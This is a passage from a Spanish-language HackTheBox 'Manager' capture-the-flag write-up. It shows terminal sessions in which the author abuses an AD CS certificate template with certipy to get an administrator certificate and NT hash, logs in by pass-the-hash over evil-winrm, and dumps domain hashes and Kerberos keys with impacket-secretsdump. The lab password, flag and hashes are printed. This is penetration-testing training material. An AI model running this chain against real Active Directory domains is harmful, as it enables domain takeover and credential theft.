 π ~/htb/manager ❯ certipy-ad req -username raven@manager.htb -password "R4v3nBe5tD3veloP3r\!123" -ca manager-DC01-CA -target dc01.manager.htb -template SubCA -upn administrator@manager.htb -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 16
Would you like to save the private key? (y/N) y
[*] Saved private key to 16.key
[-] Failed to request certificate
 π ~/htb/manager ❯ certipy-ad ca -ca 'manager-DC01-CA' -issue-request 16 -username raven@manager.htb -password "R4v3nBe5tD3veloP3r\!123"
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate
 π ~/htb/manager ❯

Podemos obtener el certificado con el ID anterior.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

 π ~/htb/manager ❯ certipy-ad req -username raven@manager.htb -password "R4v3nBe5tD3veloP3r\!123" -ca 'manager-DC01-CA' -target dc01.manager.htb -retrieve 16 -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 16
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '16.key'
[*] Saved certificate and private key to 'administrator.pfx'
 π ~/htb/manager ❯

Sincronizamos nuestra hora con la de la maquina para finalmente autenticarnos como administrator, para finalmente mostrarnos el NTLM hash de este usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

 π ~/htb/manager ❯ sudo ntpdate 10.10.11.236
2023-11-10 02:52:30.507066 (-0500) +25200.289340 +/- 0.033445 10.10.11.236 s1 no-leap
CLOCK: time stepped by 25200.289340
 π ~/htb/manager ❯ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
 π ~/htb/manager ❯

Shell

Utilizando este hash por WinRM logramos acceder y leer la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

 π ~/htb/manager ❯ evil-winrm -i manager.htb -u administrator -H ae5064c2f62317332c88629e025924ef
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
manager\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
8e9ae1d9eb2a9bfdeb3d33d064e7ec25
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Podemos ejecutar secretsdump de impacket para obtener los hashes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

 π ~/htb/manager ❯ impacket-secretsdump MANAGER/administrator@manager.htb -hashes aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x6f961da31c7ffaf16683f78e04c3e03d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:343cb5ec10f9de622c06668783b158f1:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
MANAGER\DC01$:aes256-cts-hmac-sha1-96:3d20502e39ec86613a26303878c07cfeae72295a4e62de230a0285063e26ccf8
MANAGER\DC01$:aes128-cts-hmac-sha1-96:67c0997479b973773ddea166ef62d40b
MANAGER\DC01$:des-cbc-md5:021c10d54013dc15
MANAGER\DC01$:plain_password_hex:3f83dc7d74dca32d02db718ceaff9938fff812a07e8d0af8d5695831185dc1a61bac9fd61ac73b7d36eae86a609536e025dfea89aea6a69a766c6ba2424e29b9402cb3f0f1c43a2cf6f97c5ac01c0e080be3aa879f765def7501f3a41852ce9dd39ccff52a249aa34cdc63ff4480a6bb3903c11bd947ff6802f16708a891d9a855fb52833b9009ce6f51aa71776de958664ebd604db77c7875306ac3ae1a4cda2503e8d780eab1d3babd97c5037961615ac7429eefd484841b13277829e6370f067afee2a9985c6356e304b6c781ec300d47fdc0bfee5dec739448678b4088e0f67564414b4c5fae3309c03312be5444
MANAGER\DC01$:aad3b435b51404eeaad3b435b51404ee:452a4c05d648cefa2a173dbbcd2db654:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x85ec8dd0e44681d9dc3ed5f0c130005786daddbd
dpapi_userkey:0x22043071c1e87a14422996eda74f2c72535d4931
[*] NL$KM 
 0000   31 BF AC 76 98 3E CF 4A  FC BD AD 0F 17 0F 49 E7   1..v.>.J......I.
 0010   DA 65 A6 F9 C7 D4 FA 92  0E 5C 60 74 E6 67 BE A7   .e.......\`t.g..
 0020   88 14 9D 4D E5 A5 3A 63  E4 88 5A AC 37 C7 1B F9   ...M..:c..Z.7...
 0030   53 9C C1 D1 6F 63 6B D1  3F 77 F4 3A 32 54 DA AC   S...ock.?w.:2T..
NL$KM:31bfac76983ecf4afcbdad0f170f49e7da65a6f9c7d4fa920e5c6074e667bea788149d4de5a53a63e4885aac37c71bf9539cc1d16f636bd13f77f43a3254daac
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b5edce70e6c1efa075f14bcf5231f79a:::
Zhong:1113:aad3b435b51404eeaad3b435b51404ee:7d148e27d43945dca3f9a9ae6cb93e47:::
Cheng:1114:aad3b435b51404eeaad3b435b51404ee:5f9fb454ca66927468e91362c391d4fb:::
Ryan:1115:aad3b435b51404eeaad3b435b51404ee:7f4e434796eeb1aa0c69630613dbc8a4:::
Raven:1116:aad3b435b51404eeaad3b435b51404ee:1635e153d4d6541a6367ec7a369d1fc7:::
JinWoo:1117:aad3b435b51404eeaad3b435b51404ee:43b026fc35e89627f2aed3420a1ff09b:::
ChinHae:1118:aad3b435b51404eeaad3b435b51404ee:bcc5893596907bc0672ee1a42f6b887b:::
Operator:1119:aad3b435b51404eeaad3b435b51404ee:e337e31aa4c614b2895ad684a51156df:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:452a4c05d648cefa2a173dbbcd2db654:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:2faa969559ff2172f63bb1479ff74629d4189a65f50b1d5c6a6b5a956b6c4e47
Administrator:aes128-cts-hmac-sha1-96:849897137b988c25cac24a9cc485fecc
Administrator:des-cbc-md5:26e9b370b5d5c8a2
krbtgt:aes256-cts-hmac-sha1-96:61d78925d23ca4f3b253d2974612e1f6eda77965cd6f81502414efa5420a39f3
krbtgt:aes128-cts-hmac-sha1-96:22922b27e90a53020eed589b0b9b125d
krbtgt:des-cbc-md5:ae1aa7a40db502ba
Zhong:aes256-cts-hmac-sha1-96:f731984eaa7918ad131869d95bef4a9ed469df1ea2d7a081b08ca3ae8e5a13e2
Zhong:aes128-cts-hmac-sha1-96:5c42c2d7235087d2226b616b890d6128
Zhong:des-cbc-md5:1a91cbf297c76ea4
Cheng:aes256-cts-hmac-sha1-96:9cc809e5883d673294afab5720c1c539d3324f1ebffa0103920fcc00b128ecec
Cheng:aes128-cts-hmac-sha1-96:9d5121930b93817a5d0fe4db982b8233
Cheng:des-cbc-md5:075740d99804892f
Ryan:aes256-cts-hmac-sha1-96:bd67b2d5487c4c9549e6d9b5b87152864a31e1eee8ecf027fcb59f9a3da6ec3c
Ryan:aes128-cts-hmac-sha1-96:501cffa6647c3a337bf2afaf35ebcd77
Ryan:des-cbc-md5:f8c280133bf191e5
Raven:aes256-cts-hmac-sha1-96:9775fa4406affb803dfad0686f9843100718a50465c5bae5260e94e6d46fb57a
Raven:aes128-cts-hmac-sha1-96:838b054d6a4cd6418b2a10ed4949dc37
Raven:des-cbc-md5:fd5889a1fe0283e0
JinWoo:aes256-cts-hmac-sha1-96:91c0617872816e5ab19dfcc01fa31aca1a0b5e376e38597f1e16a97136898549
JinWoo:aes128-cts-hmac-sha1-96:21d36c2813dd80a569822f5c1ee54b3d
JinWoo:des-cbc-md5:cebf8ac79252b92a
ChinHae:aes256-cts-hmac-sha1-96:5fdf45b119eb9d88cdfc15411656df98b3d8b2660f75eda6b5fecfbc49fb7f1e
ChinHae:aes128-cts-hmac-sha1-96:59daad56cefb3c724270a891dd2405cd
ChinHae:des-cbc-md5:153dfe042f80544a
Operator:aes256-cts-hmac-sha1-96:30430538cb42c190068695ce044f242ac8bf2e4679f33374697339d3ae45fb1c
Operator:aes128-cts-hmac-sha1-96:fef60d43fb8ba5cb18c8aae68aa043ea
Operator:des-cbc-md5:9186192c153431d0
DC01$:aes256-cts-hmac-sha1-96:3d20502e39ec86613a26303878c07cfeae72295a4e62de230a0285063e26ccf8
DC01$:aes128-cts-hmac-sha1-96:67c0997479b973773ddea166ef62d40b
DC01$:des-cbc-md5:d0da268ab9b519e9
[*] Cleaning up... 
 π ~/htb/manager ❯

Share on
Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe

Read other posts

HackTheBox - Manager